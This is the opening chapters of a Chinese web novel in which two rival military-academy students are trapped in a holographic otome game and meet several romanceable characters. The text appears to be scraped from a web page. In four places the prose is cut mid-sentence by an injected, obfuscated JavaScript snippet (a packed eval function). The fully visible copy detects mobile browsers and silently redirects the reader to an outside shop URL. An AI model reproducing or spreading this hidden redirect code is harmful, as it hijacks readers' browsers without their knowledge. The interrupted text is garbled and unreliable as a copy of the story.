《与死对头一同穿进乙女游戏后》 1. 乙女游戏1 “夏林学姐!您在去年机甲公开赛中的表现真的非常亮眼!您沉着冷静的战术,随机应变的灵活指令,矫健美丽的身姿,这一切都深深吸引了我。从那一天起,我,我就一直忘不了您……” 与话语内容反差极大的平静女性声线回荡在放学后的空旷教室里。末尾本该带来暧昧的留白在此时表现为了一串僵硬的沉默。 几秒钟后,另一道不同的女声响起:“唉,没戏。” 说话的女生叹了一口气,面带遗憾地摇了摇头:“时代明明在进步,星网上每天那么多新套路,怎么这一届的学弟还在用这么老掉牙的台词表白?用这种句式的,我们夏林已经听了得有两位数了吧?根本……” “啪嗒。” 身旁冷不丁传来了金属物品落地的声响,突兀地打断了她本来想继续的话语。 合金制作的圆柱体智能水壶在光滑的地板上“轱辘轱辘”地滚动,最后撞到了侧面的墙壁才停了下来。 先前说话的女生瞬间噤了声,脸上表情像是被突然出现的响声吓到了。 一只骨节分明的手在她的视线里将其捡了起来,重新摆到了面前的桌上。 “怎么你的杯子掉了也傻坐着不去捡?” 夏林看了一眼在座位上安静下来的女生,抿了下唇:“……不过下次,即使你再怎么有理由想听,我也不会和你说那些事了。” “那些事”指的是方才她转述的别人向她告白的事。 她依然记得,在半小时前,那位身穿新生制服的男生在沁凉的晚风中是如何用高度紧绷的身体说出的那番话。 虽然语气有点结巴,内容也确实不算新。 可那双直视着她的双眼带着与眼下季节完全不符的温度,其中真诚而又青涩的情感比周围染成唐红的树叶看上去更易灼伤。 她下意识地弯了弯手指,冰凉的指尖有些发僵。 “我刚才已经正式且明确地拒绝他了。” 这句话为方才的“告白转述”正式宣告了结局。 虽然是拒绝了,但因为别人的好奇心就这样说出来让人在背后随意评价,夏林觉得不太好。 “你知道的,我主要是关心你,我从来不会和别人说这些八卦的,嘴可严了。”同桌女生说完瞄了一眼夏林的表情,一摊手再次开口,“好嘛好嘛,对不起,我下次不问了。” 夏林脸上由阴转晴。同桌女生见状顺势拎起了自己的背包:“那么回宿舍吧,时候也不早了。” 夏林点了点头。 只是这边她刚走到教室门口,走廊上一个身穿相同制服的男生恰从面前经过。 裁剪得当的深色外套显得其肩宽腿长,背影身材比例极好。 这是一个夏林非常熟悉的背影。 前方男生的步距较大,身旁一同出来的同桌女生又不知道为什么突然拽着自己有意放慢了步伐,两波人很快在走廊上拉开了一段不近不远的距离。 夏林眼也不眨地看向前方,思绪一瞬间有些茫然。 “……怎么样?” 此时身旁人忽然极其小声地说了什么,夏林一时间没有听清。 “你说什么?”她问了一句。 “我说,如果他和你表白,你会答应吗?”同桌女生伸手小幅度往前方虚虚一指。 夏林顺着手指的方向视线往前,定格在了那一道高大的背影上。 她的脚步一顿,停了下来。 一股莫名的疲惫感将她整个人包围。 夏林张了张口,脑海中逐渐浮现的那个名字如呓语般脱口而出:“秦封?” “对对对!”同桌女生小鸡啄米式点头,表情期待。 她嘴唇翕动,一瞬间与这两个字相关的记忆一时间涌上心头,思绪百转千回之后,叹了一口气:“他不可能和我表白。” “假如!就是假如一下嘛!”同桌女生突然抓住了她的手,讨好地晃了晃,眼巴巴地盯着夏林,“你觉得他怎么样?最后一次,你就悄悄告诉我吧,我保证不会和别人说的!” 夏林有点拗不过这一通撒娇,抿了抿唇,还是低声给出了一个答案:“……不怎么样吧。” “噢……”听到回答的同桌女生假装不经意间回头瞥了一眼。 走廊前方的男生背影不知何时已经消失。 她顿时声音拔高了几分:“说得太对了!某些人啊他就是不怎么样!脾气还稀烂!动不动就吓唬人……” 夏林笑了笑,没有再多说些什么。 毕竟在这所学校的人都知道,她和秦封是出了名的竞争对手,死对头。 虽然平心而论,要是没有秦封一直跟她在各个竞赛考试里又争又抢的,她或许不会有今天这样醒目的成绩单和个人履历。但换句话说,秦封就等同于高压线和警示牌。 正常人难道还能对及格线有什么好感吗?如果哪一次考试她的成绩落后秦封太多,对她来说也和不及格没什么两样了。 更何况……她记得她好像有一个不得不拿到第一名的理由。 夏林的表情怔忪了一下。 不过,是什么来着? · 夜晚。夏林结束了例行的体能锻炼再次回到宿舍房间,从小冰箱里拿出运动饮料喝了一口补充电解质,随意坐到了床上。 活动完了腿脚,为了劳逸结合,夏林打开了光脑。 她投屏看了一会新闻之后,觉得有些无聊就戴上了全息设备,进入光脑的机甲全息模拟练习模式。 眼前的黑暗散去后,再睁开眼就是进入了一个球形的纯蓝色初始空间。 夏林之前来过不少次,对这一套全息操作流程十分熟悉。她刚想走向中央选择模式,身后却突然传来了一道对她来说并不陌生的男声: “夏林。” 她愣了一下,蓦地回头。 这是一张俊美深邃的面庞,漆夜般的发色与肤色形成了强烈的对比,线条分明的五官凸显了其周身生人勿进的冷峻。 视线中的男人正抬步向她走来,肩背笔挺,视觉上极有美感。 秦封……之前给人的感觉是这样的吗? “夏林,”几秒后,高大的男人在她面前站定,简明扼要地开口:“这里不太对劲。” 夏林看了他一眼,没有否认对方的话,而是转身直直地往前走,到中央停下了脚步。 当然不对劲了。又没开联机模式,在这里能看到秦封这个人就是最大的不对劲。 【欢迎来到《奇迹军校》!】 夏林睁大了眼,看着面前浮动的光屏,上面显示出的内容和选项都十分陌生。 她进入前选择的模块不是模拟机甲练习吗?这些花里胡哨的粉红特效和背景是什么? 百般纠结之后,夏林迟疑地点了一下【简介】按钮。 【欢迎您选择《奇迹军校》! 在这里,玩家将扮演一位转学生(可自主命名)进入星历946年的帝国天宿军校,充分体验一名军校生的真实日常生活!在这里,无论是军事演练,机甲模拟都有着超高还原度,是军事迷不可错过的佳作;同样的,若您是新手玩家,以上所有内容也可以开启AI辅助操作模式!玩家将在这里拥有极高的自由度,您可以按照每日课表按部就班地当一个模范军校生,也可以自由安排日程充分探索体验,还有超多可攻略角色任君选择……期待您收获属于您的‘奇迹’!】 这个【简介】模块实际上是一个说明视频。语音讲解到对应的内容会出现相应的画面,十分直观易懂。 至少夏林是立刻就反应过来了,这个《奇迹军校》 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夏林点了点头:“正常来说,全息乙女游戏只要玩家与攻略角色走到剧情结局,为了让玩家不沉迷于虚拟感情,会自动结束游戏返回现实而不是返回游戏初始空间。但这个游戏连控制页面上都没有给‘退出’的选项,走到结局也不一定能行?而且你没有‘开始游戏’的选项,现在的这个空间假如是这个游戏的准备区域,按照光脑运行的一般规律,为了释放内存容量,开始游戏后这个准备空间就会被销毁。还不清楚我进入这个单机游戏后,你……” “我会与你一同进入游戏,”秦封打断了对方的话,“我虽然没有‘开始游戏’的选项,其他都是与你相同的。你来之前我有分析了一些数据流。” “可这个游戏是单机游戏,双人进入还不知道会怎么样。我们在这里等外面教官的救援应该也不会太久。”夏林皱眉反驳。 不知道是不是错觉,她感觉秦封似乎更倾向于让她开始游戏。 可选择这种未知风险bug,有点不太像秦封一贯的作风。 “选择‘开始游戏’吧,”秦封的声音停顿了一下,“我已经等得太久了。我有一个非常想念的人。” 意料之外的内容让夏林愣了一下,蓦地转头。 然后笔直地对上了一双黑沉沉的眼。 那双眸子宛如幽夜的海面,各种情绪的波澜在其下重重叠叠,最终只表现出一片隐晦不明的风平浪静。 他……是几个小时前就被困在这里了吗?还有外面他那个想念的人是…… 夏林莫名心头一颤,抿了下唇,将原本打算询问的话语吞了下去。她移开了视线,重新回过头看向前方:“……知道了,我这就‘开始游戏’。” 她再次呼出了《奇迹军校》控制页面,又瞥了秦封一眼: “到时候要是发生什么意外,自己负责。”话落按下了选项。 游戏开始。 2. 乙女游戏2 进入游戏的过程与最开始进入初始空间几乎是一样的,都是眼前一暗,再看到亮光时,周身的场景已经与之前截然不同。 现在的时代全息技术已经相当成熟,光脑通过设备已经能模拟出与现实世界极为接近的五感。此时显然是早上,清晨的空气带着一丝凉意,鼻尖能嗅到两旁绿植独有的泥土气息。 夏林睁开眼最先看到的就是浮现在前方的提示框:【请至二年A班报道。】关闭后脚下自动出现了明显的指路箭头标识,这才有了身在虚拟世界的实感。 她并没有第一时间按照系统给出的提示行动,而是四下仔细望了一圈。 没有看到某个高大的身影。 身穿蓝白军校制服的金发少女在原地停顿了几秒,还是朝着箭头指引的方向径直朝着教室的位置走去。 总之进来之前她已经给出了明确的警告,眼下她的第一任务是尽快打出结局。 指引的箭头很快消失了。夏林抬头看了一眼上方班牌上写着的“二年A班”,推门走进了教室。 教室内部很宽敞,桌椅呈阶梯状排布,内里零零散散地坐着几个学生。此时有“新人”走进教室,众人的目光纷纷落到了前方。 时间不算早了,但教官没有在。下面共坐了十二人。 夏林大略地扫了教室一眼,在心里掌握了初步的情况。 面前出现了新的提示框:【请自我介绍。】 她很快站到了讲台旁,脑海中想了下之前游戏简介里给玩家的“角色设定”,平稳开口: “你们好,我是今天转学过来的夏林。” 台下鸦雀无声,一时间只感受到各色视线落在身上,并没有人主动说话。 不过也无所谓,她不在意,只是为了完成任务。 正当夏林准备走下去随便找个座位的时候,从角落里传出了一个女声: “夏林同学?” 夏林动作一顿,看着这个从座位上站起身笑脸盈盈朝她走来的丸子头女生。 “早听说了今天有个转学生要来。欢迎你加入二年A班,我是东霓,希望我们以后能相处愉快。” 女生在她面前站定,说完这句话后露出了一个友好的微笑,随即坦然自若地朝她伸出手,似乎要搭上她的肩膀。 下一秒,东霓伸出的那只手在半路直接被抓住。 动作受阻,她的表情出现了一瞬间的不自然,但很快用笑容掩盖:“怎么了?是我太自来熟了吗?不好意思,我下次会注意的。” 金发蓝眼的少女眉眼淡淡,表情极为冷漠,开口的同时加重了握住对方手腕的力道: “我只是不喜欢别人拿着这种东西接近我。” 手上骤然加重的力道让东霓吃痛松开了手。随着一声清脆的金属声的响起,一块极薄的锋利刀片落到了教室地面上。 刀片落地后,夏林瞥了一眼,松开了对方的手腕,顺势虚握了一下,开口: “现在好好相处。” 这次被甩开手的是夏林。 背地里的小手段被不留情面地揭穿,讲台旁的东霓面上有些难堪。她回头望了一眼教室里作壁上观的其他学员,咬牙道:“转学生,我这是为了你好!你从普通学校过来可能不清楚,军校有军校的规矩,披头散发的在训练里小心被人连头皮都扯掉!” 原来目标是她的头发。夏林面上表情未动,心下了然。 军校是阶级与秩序的聚集地,同样也极其排外。突然来了个新人,想给新人下马威试试深浅的习惯在现实里也常有发生。但她刚才也觉得,这游戏上来就让NPC持刀往脖子过来多少有点污蔑军校风气了。 还以为这个没有“退出”按钮的乙女游戏凶残至此,一开始就想把她交代在这呢。 “不劳费心。” 夏林说完这一句后就转身朝着后方的阶梯座位走去。 然而她刚走了没几步,忽然心头警钟大作。 刹那间,她迅速侧过了身子躲过了一击,同时从旁边第一排的桌椅借力转向钳制住了东霓的一只手。正当她要进行下一步动作时,却发现对方已经被另一人压制。 夏林一愣,一抬头就望进了一双如深潭般的碧绿眼眸。 “没有受伤吧?” 这双眼睛的主人唇边噙着温和的笑意,手下的动作却毫不留情。 “会长!”边上有人出声喊他。 夏林在对方的示意下放开了手,看着这个不知何时出现的金发男生把情绪崩溃的东霓推给了另外两个不知什么时候来的男生,并嘱咐道:“送到教务处,说明下这里发生的情况。” 两个男生带着人走了。 见事情已经平息,夏林冲金发男生点了点头,正打算找个座位坐下,转过身忽然间觉得好像少了点什么。 这个念头刚刚出现,头顶立即多了一点重量。 夏林伸手摸了一下,后知后觉。 是她的军帽。 原来刚才躲避的动作太大,制服的帽子掉了。因为现实里她所在的军校并没有配帽子,对游戏制服里有帽子这件事还不够习惯。 ——掉了的帽子自然不会无缘无故地回到她头上。 夏林重新转过了身,刚打算礼貌道谢。迎接她的是一只轻柔拂过她耳边发丝的手,同时她头顶的军帽被对方细微地调整了一下。 “嗯?好像有点歪了……现在好了。” 夏林眨了下眼。 手的主人收回后冲她微笑,笑容明朗和煦: “你好,我是天宿军校的现任学生会长,纪承英。” 夏林刚要开口,侧前方的教室门边忽然响起了一个熟悉的冷淡嗓音:“刚才这么明显的直踢都需要帮助?学院才几天没安排对练,你的格斗技退步得挺厉害。” 她一愣,下意识看向声源处后,瞳孔猛地一缩:“秦……” “怎么了?” 这句话的声音却是从近处传来。察觉到了面前人的动作,此时纪承英也朝着夏林视线的方向微微偏过了头。随着他的动作,脑后只在发尾中部束了发环的半长白金发丝慵懒地滑落至胸前。 纪承英很快重新回过了头,看向夏林的眼神中带着明显的疑问。 夏林瞬间回神,面不改色地接上了之前的话:“你好,我是夏林。因为刚才有个同学告诉我这里不允许披发,所以不小心多看了一会你的头发。” “头发?”学生会长用他清雅矜贵的嗓音低低地重复了一遍这两个音节,抬起头睥了一眼这个教室。 其实刚才那个方霓这么说之后,夏林也有悄悄多看一眼。这个教室里的其他同学确实短发居多,长发的几个也都有整齐利落地扎好。 她心里正犹豫是不是也该“入乡随俗”一下,这边刚好又冒出个头发半扎不扎的“特例”。 “可能是那位同学有什么误解,”纪承英的语气让人捉摸不出态度,神情淡淡,“我们天宿军校校规上只对着装做了硬性要求,对学员的发型、发色从没有过任何规定。不是吗?” 教室内鸦雀无声。 夏林瞥了一眼,方才还在看好戏的其他同学此时都低了头,没有人朝他们这边多看一眼。 这么有威严的学生会长? 夏林再次冲对方微微点头,态度稍霁:“谢谢你,我知道了。” 拥有如精灵般俊美容貌的学生会长微微低下了他的头颅,再次启唇的嗓音里带着明显的歉意: “很抱歉在转学的第一天就让你遇上了这样的事。之后若是再有发生,可以来五楼的学生会找我。” 他停顿了一下,夏林此时突然留意到对方右侧脖颈衣领处别着一枚金色的羽翼徽章,似乎与她身上军校制服的羽翼图案十分相似。 是学生会长的标志吗? “另外,你的金发很好看,不需要过多在意其他人。” “……嗯,多谢你。” 夏林坦然自若的态度不知触动了对方的哪一点,金发碧眼的学生会长听完后又露出了一个温和的微笑: “那么,下次见。” 他说完这句话后就转身离开了教室。 夏林一直注视着对方的背影,直至消失。 殊不知这副姿态在旁人眼中就是一副恋恋不舍的模样。 “这样简单的一句赞美能让你在意这么久吗?” 先前不知为何一直沉默的秦封再次出声,声线听不出喜怒,却让人感觉在阴阳怪气。 这回夏林吸取了之前的教训,没理他,自顾自地在阶梯教室的中部找了个座位坐下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这次桌面上空白了许久才浮现下一句话: “你能碰到这个世界的物品吗?人呢?” “物品可以。人的话……”秦封微妙地停顿了一下。他抬眼看向在座位上端坐听课的金发少女,继续开口:“你让我试一试?” 夏林以为秦封是担心对NPC测试会有所反应,从而引起不必要的麻烦,当即没多想就同意了。 “可以。” 桌面上清晰地浮现了这两个字。 高大的男人垂眸看了一会,突然抬步靠近。在夏林还没来得及反应之时,将手撑在课桌上,弯腰俯身。 温热的气息拂在耳侧。两人此时的距离已经到了一扭头就能碰上鼻尖的程度。 在秦封眼中,夏林的眸色是一种纯粹的蔚蓝,耳边垂下的几缕金发映在里面宛如温暖的日光落到平和的海面上。 只是此时微微收缩的瞳孔以及紧绷的身体代表了主人的内心并不像表现的那样风平浪静。 秦封一直保持着这个动作,直到察觉面前人的忍耐似乎即将达到极点,才抬手轻柔地将少女耳边落下的几缕金发笼到了耳后。 指腹的薄茧掠过耳朵上单薄敏感的皮肤,有点痒痒的。 明明只是短暂的相触,来自另一个人的体温却仿佛格外张扬,留下了微微发红的痕迹。 夏林浑身一激灵,下意识地转头看秦封。 “可能因为我与你的数据流有部分相似。虽然我不是这个游戏的合法登陆者,但和你的接触还是没有问题的,只有NPC的不行。” 秦封之前做完动作后就自觉地退开了几步,此时平淡的表情与之前并无差别,说出的话也有理有据,颇有逻辑。 仿佛只有她一个人觉得怪怪的。 夏林压下了心中的异样,还是忍住了没把“撩个头发为什么要离她这么近”问出口。 “……嗯,知道了。” 随着桌面上浮现出这行字,金发少女重新回过头听课。 也因此没有看到,倚靠在两侧课桌间过道的高大男人宛如沉默忠诚的骑士,长久地将目光停留在了那一个人身上。 宛如这个动作重复过千百遍那样。 3. 乙女游戏3 在下课铃响后,夏林走出教室的那一刻,熟悉的系统提示框又再次出现: 【请更换教室。】 夏林看了一眼就关了,转身顺着引导继续往前走,忽然感觉到了一个来自身后的微弱阻力,像小猫咪伸出爪尖勾住了她的衣角。 她顿了一下,回过身,表情有些错愕。 一个与她差不多高的陌生栗发少年正悄无声息地站在她身后,方才的阻力是对方拉住了她的衣角下摆。 此时见夏林回头,他松开了手,有些不好意思地摸了下耳边乱翘的小卷毛:“对不起学姐!突然拦住了你,就是……可以请你帮我一个忙吗?” 这个人都到了她身后这么近的距离,她居然完全没有察觉到?而且才刚打铃下课,这个喊她“学姐”明显是从其他楼层来的学生是怎么冒出来的? 夏林皱了下眉,一时间没有说话。 栗发少年像是没看到夏林冷淡的表情,自顾自“郑重其事”地低下了头:“学姐!我是一年C班的白川。拜托了,可不可以借我一下你的《机械基础与设计》的课本?今天是我们新生第一次上这堂课,但我……呃,不小心把课本忘在宿舍了。现在再过十五分钟就要上课了,回去拿也来不及了。学姐你也知道的吧?那个教官比较注重传统,一定要求带纸质课本,如果被他发现第一节课就没带,这门课肯定挂定了。好不好嘛学姐?你就帮帮我吧!” 面前的少年说完后朝她深深地鞠了一躬,似乎夏林不答应就不会把头抬起来一样。 此时是课间时分,已经陆续有其他学生从教室里走了出来,经过他们这里总会回头多看几眼。 再一抬头,不知何时秦封也倚靠在了门边,正抱胸看向他们这里,神情不明。 夏林只觉得太阳穴一突,刚想开口拒绝说“你去找别人”,结果余光朝教室里面一瞥,几秒前还满满当当的学生NPC,现在就跟被系统一键删除了一样,里面没有半个人。 系统强制事件。这书看来是非借不可了。 夏林叹了一口气,转过身准备回去给他拿课本。只是刚走了两步,她忽然像是想到了什么,又停了下来,回身开口:“你,抬起头让我看看。” 听见前面人的话,栗发少年顿了一下,有些犹豫地抬起了头。 刚抬到一半的脸颊两侧忽然传来了柔软的触感,近距离传来属于少女周身的气息让白川一时间僵住了身体,张大了眼愣在原地任由面前人对他“动手动脚”。 因为下一节课的时间快要到了,夏林直接上手凑近左右端详了一下这个少年的长相,很快在心里得出了一个结论。 她松开手,冲白川满意地点了点头:“好,我借你了。”话落快步往教室内跑去。 不知道是不是她的错觉,从门旁经过秦封身边时,总觉得对方的表情有点阴沉。 留在原地的栗发少年如梦初醒,他动了动嘴唇,快步跟了进去。 “……谢谢你,学姐。不过,你是认识我吗?或者……在别的地方见过我?”这话听起来有些小心翼翼。 “不认识,也没见过。” “那为什么突然……?” 顺着提示框的引导,金发的军服少女从自己的储物柜中抽出了一本崭新的课本,回头递出:“因为你可爱。” 语气是与内容完全不符的平淡,宛如在说“今天天气不错”。 出乎意料的回答让白川怔了一下,然后他迅速低头佯装翻书,耳根有些发红。 不过他很快发出了疑惑:“学姐,这个书好新啊。不是你们之前用过的课本吗?怎么连个名字都没有?” “因为我今天刚转学过来。” “嗯?”白川合上了课本,看向夏林的目光有些迟疑,“刚才,听说有一位二年级的学姐和转学生发生争执被开除了。” “那个转学生是我没错,”夏林这才知道方才那个事件的后续结果,微微皱了眉,“开除了?有必要吗?只是一件小事,并没有人受伤。” “反正我听到的结果是这样的。”白川摊摊手,眨了下眼好奇道,“所以发生了什么事?” “头发的问题。”夏林并不想展开多说,她低头看了看光脑上显示的时间,有点想结束这个话题。 她刚想开口找个理由打发掉这人,对方突然发出一声恍然大悟的惊叹。 察觉到夏林的视线,白川也觉得自己方才的反应有些不太好意思,支支吾吾地说:“呃,因为实在是很适合你,就是……很自然,我居然到现在才发现学姐你没有束发。” 夏林开口:“可是这里的学生会长说校规对头发没有要求。” “那个学生会长纪承英这么说?”白川愣了一下,看向夏林的眼神有点复杂,“这下可能真的不太好了。” “为什么?”敏锐地察觉到这可能是新情报,夏林来了点兴致。 白川说:“虽然没有明文规定,但所有教官对披头散发的学员都会进行警告,说会影响到训练。即使解释说可以在训练的时候再把头发扎起来也会被嘲讽‘面对敌人的时候也要要求对方给你扎头发时间’。久而久之,大家就默认发型都是短发或者束发了,男生女生都一样。” 这个情况夏林也不是不能理解,因为现实中的军校在历史的很长一段时间里也都是禁止军校生留长发的,直到后来出现了材料的改革进化,长发不仅可以掩藏其中的微纳米级特殊武器,更多的时候上面喷着的各种药剂没有中和剂是连碰都碰不得的,反而是变成了一种“装备”。 不过这个乙女游戏的军校 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“……那我就先回去了,借我的课本上完课会再来还给你的。”白川耳根微红,他猛地转身,“再见,夏林学姐。”随即头也不回地从旁边的楼梯下去了。 临近上课,走廊上已经几乎没什么人。 夏林从秦封身旁走过。与之前遇见纪承英的时候截然不同,这次她与白川接触,秦封全程沉默。 她瞥了眼那个低垂着眼不知道在想什么的黑发男人,宛若自言自语一般开口: “不过,我之前有告诉过他我的名字吗?” 秦封抬起了头。 · 走下两节楼梯回到自己年纪楼层的栗发少年步履轻快,嘴里轻轻哼着不知名小调。 刚刚“好不容易”借到的崭新课本被放在指尖像陀螺一般旋转着。在走路的同时保持这个动作,主人显然有着极好的平衡感。 少年那双栗色的眼眸十分平静,脸上看不到刚才的半点赧然模样。 4. 乙女游戏4 为了加快游戏进程节约时间,之后所有的课程夏林都选择了跳过,但到了午休时间就突然无法跳过了。 自从白川离开后,秦封也不知道去了哪里,之后完全没有看到人。 她坐在教室里看了看窗外蜂拥而出的人潮,想了想,唤出光脑开启了学院地图。 比起人潮拥挤的食堂,她选择去小卖部买了两个面包,又拿了一瓶能量饮料。 夏林拿着午饭在校园里逛了一会,最后选了一个安静的地方坐在了树下。 现在她也逐渐摸到了这个游戏的一些逻辑。诸如“自我介绍”“借书”之类的系统强制事件是无法避免的,如果接下去有事件发生,就会无法选择跳过这个阶段。 既然已经知道了接下去一定会有什么事发生,那么比起会被NPC围观的食堂,显然人少的地方会更好处理。 然而这边她刚冒出这个想法,就敏锐地听到从正上方传来了一些细微动静。 脑子里瞬间反应出来这是什么声音的夏林立即往旁边草地侧身一滚。 “啊——好疼。” 随着一声重物坠地的闷响,还有一声同时响起的痛呼,一个人形生物四仰八叉地落到了原本夏林坐着的位置,一只手恰好在她脚边。 夏林抬头看了一眼上方折断的纤细树枝,然后低下头看着地上坐起身明显体型对于树枝来说“负载过重”的红发男生,一时无言以对。 她之前坐下来的时候可是有观察过这棵树的,根本没有这个人的存在! 剧情需要,NPC又乱刷新了。 红发男生拍拍身上的尘土,坐起身一眼看到了旁边的夏林,刚欲开口说些什么,忽然视线往下移了一点,表情立刻切换为歉意: “啊,你面包掉了。抱歉,是我刚才摔下来吓到你了吧?” 红发男生边说边从口袋里摸出了一个草莓夹心三明治,他低头翻来覆去检查了一遍,然后递了过来,笑道: “还好还好,没被压坏。我怎么能看着可爱的学妹因为我饿肚子呢?” 夏林看了一眼,没接。除了不接陌生人给的食物这个理由外,也是因为她还有另一个“幸免于难”的面包。 ……好像刚好也是草莓夹心三明治。 那就没有必要了。 红发男生看见夏林没有动作,露出了一个有些困扰的表情,几秒后忽然像是想到了什么,又将手伸入了口袋—— 之后从里面依次掏出了奶油面包、压缩饼干、能量巧克力、草莓棒棒糖。 夏林:……? 夏林狐疑的目光从对方看起来和她深浅容量一致的制服口袋移到了对方拿满了零食的双手,停留了几秒,最后落到了这个红发男生的脸上。 对方注意到了她这视线的含义,“噗嗤”一声笑了出来。然后将一只手弯曲,把零食笼到了臂弯里,空出一只手将之前掏零食出来的口袋翻了出来给夏林看,示意里面没有东西了。 “真的没有了。唉,学妹你这些都不喜欢吃吗?都是很好吃的哦,我向你保证。” 夏林此时其实更好奇这个人刚才究竟是以什么重心分布落地的。这些“脆弱的零食”居然都看上去完好无损。 “唉……怎么办呢?”红发男生自顾自往下说,忽然表情转为恍然大悟:“嗯?学妹,难道说你其实不是不喜欢吃这些东西,是因为在警惕我吗?” 夏林闻言瞥了他一眼,不置可否。 “嗯……虽然像学妹这么可爱的话是应该要注意警惕陌生人,不过我们是同一所学校的诶,我难道看起来像什么可疑人物吗?”红发男生指了指自己,瞪大了眼。 《某陌生高大男子突然从天而降,拿出各种食物引诱路人女生。》 如果这不是发生在学校内,可能已经是需要报警的程度了。夏林默默地想。 “刚才你看到我的表情好像也很陌生,而且学校里有这么可爱的学妹我不可能不记得……啊,我知道了,你就是那个今天刚来的转学生!”红发男生自言自语着,却几句话就得出了正确的结论。 夏林眼皮一跳,这才仔细地注意起眼前的红发男生。 对方大喇喇地坐在她旁边,一双长腿随意搭着。白蓝军服的扣子一颗都没扣,像外套一样披在肩上。整个人都与军校严谨肃穆的风格截然不同,充斥着肆意不羁的意味。 夏林注意到对方右眼下方有着一颗深色的泪痣。 “初次见面,可爱的转校生学妹。我是三年A班的司昊泽,很抱歉之前发生了一点‘意外’。不知道我有没有这个荣幸能够邀请你与我一同去食堂共进午餐?” 突然进行自我介绍的红发男生将一只手斜过胸前,微微低下了头。以坐着的姿势来了一个不伦不类的绅士礼。 ——他的另一只手还抱着刚才从口袋中拿出来的零食,整个人看上去更滑稽了。 夏林看着前面人头顶的发旋,刚要开口回复,却发现对方其实悄悄抬了头在留意她的表情。 见她看过来,司昊泽完全没有被抓包的尴尬,而是狡黠地眨了下眼,来了一个标准的wink。 夏林:…… 夏林叹了一口气,点头道:“可以。” 名为司昊泽的红发男生听到这句回复,脸上露出了一个笑容:“太好了!不过学妹你刚转学过来怎么第一天就吃面包?我们天宿军校的食堂其实还可以的,等会让我给你从头到尾好好介绍一下!” 他刚往外走了两步,忽然停了下来,在夏林的目光里露出了一个有些不好意思的表情:“学妹你等我一下,我得去消灭一下‘罪证’。”他伸手指了一下后面躺在地上“壮烈牺牲”的断裂树枝。 与修剪整齐的草坪格格不入。 夏林看了一眼,随意应了一声:“嗯。” 司昊泽见状重新往回走到了树下,捡起了地上折断的树枝藏到了旁边的矮树丛中。然后用余光瞥了一眼后面夏林的动静,不动声色地将指尖的一张卡片也丢入了树丛中,并将之掩盖。 做完这一切后,司昊泽仿佛无事发生一般重新走向了夏林,两人一同走向了食堂。 远处的树荫下,秦封将方才司昊泽的小动作尽收眼底。 他侧头望着两人离去的背影,未发一言。 · 入夜,夏林洗漱完毕回到了宿舍房间,打开了游戏界面开始查看上面的信息。 除了一些基本的介绍,依然是没有“退出”的选项,但进入游戏后多了一个名为【攻略面板】的选项。 点开后出现的页面很简单,就是一个显示好感度数据的列表。 纪承英:【20/100】 白川:【25/100】 司昊泽:【5/100】 ?? 夏林扬了下眉,对这个好感度数据还是有点意外的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026665|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 学生会长纪承英虽然表面上对她客客气气,但转头就给她挖了大坑,好感度居然能有五分之一。 好感度最低的司昊泽倒是隐约有猜到。 中午她改变主意和司昊泽一起去食堂吃饭只是想更多地观察一下那个人,她的直觉告诉她司昊泽有些不一般。 司昊泽是毕业班的三年级生,觉得比起同级更为陌生的她是学妹没有问题。可是他当时似乎很确定她是“转学生”。 怎么做到的?除非他记得这个学校里所有学生的脸。 后来两人从去食堂的路上到用餐结束为止,过来和司昊泽打招呼的学生络绎不绝,男女都有,简直是男明星待遇。 可即便是再喜欢交朋友,认识学校的所有人也太奇怪了。 夏林将目光落到了白川的那一行。 白川对她的好感度最高是有意为之的,她之前已经决定要选择攻略白川。 倒也不是因为什么特殊的理由。只是她那时候突然想到现实里向她告白的人中,白川这个类型的似乎是最多的,说明她最容易获得这一类人的好感,想来攻略起来会比较容易。 但,她有在努力表达出“亲切”,好感度居然只比学生会长纪承英高了5。 夏林关闭了好感度列表。 果然现在的线索还是太少了。明天或许得考虑不按照系统的安排,自己行动看看了。 夏林抿了下唇。 说起来,倒是很久没有看到过秦封了。进了游戏因为没有通讯手段,似乎只有等秦封主动来找她才能看到人。 由于游戏内一些日常剧情可以选择跳过,时间的流逝和现实并不相通。粗略计算,现在现实里可能只过了两小时不到。 如果要等到现实里有人发现她俩的“失踪”,按照这个进度或许还要在这个游戏里呆至少七天。 她能在七天能走到结局吗?现在似乎连这个游戏主线的影子都没看到。 ——秦封应该比她更着急吧?毕竟他之前说,他有一个……非常想念的人。 夏林表情微动。 每次想到秦封说那句话时的神情,她心里总会涌上一种奇怪的感觉。 不太好形容。因为不像是他会说的话? 夏林沉默了一下,在游戏菜单中选择了【入睡】。这个按钮似乎只有在一天所有系统安排的活动结束后才会亮起。 · 凌晨两点。 星辰晦暗,夜色深沉,白天熙熙攘攘的校园此时只剩下一片静谧。洁白的建筑群笼上了一层暗影的薄纱,透出几分诡秘。 